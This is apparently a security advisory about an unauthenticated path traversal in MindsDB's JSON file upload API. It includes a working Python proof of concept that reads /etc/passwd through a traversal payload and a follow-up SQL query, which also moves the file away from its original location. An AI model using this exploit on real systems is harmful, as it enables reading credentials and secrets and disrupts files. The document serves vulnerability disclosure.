- "details": "### Summary\nAn unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.\n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB’s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n ```bash\n docker pull mindsdb/mindsdb:latest\n docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n ```python\n # poc.py\n import requests, json\n\n base = \"http://127.0.0.1:47334\"\n payload = {\"file\": \"../../../../../etc/passwd\"} # no source_type -> hits vulnerable branch\n\n r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n print(\"PUT status:\", r.status_code, r.text)\n\n q = requests.post(\n f\"{base}/api/sql/query\",\n json={\"query\": \"SELECT * FROM files.leak_rel\"},\n timeout=10,\n )\n print(\"SQL response:\", json.dumps(q.json(), indent=2))\n ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
0 commit comments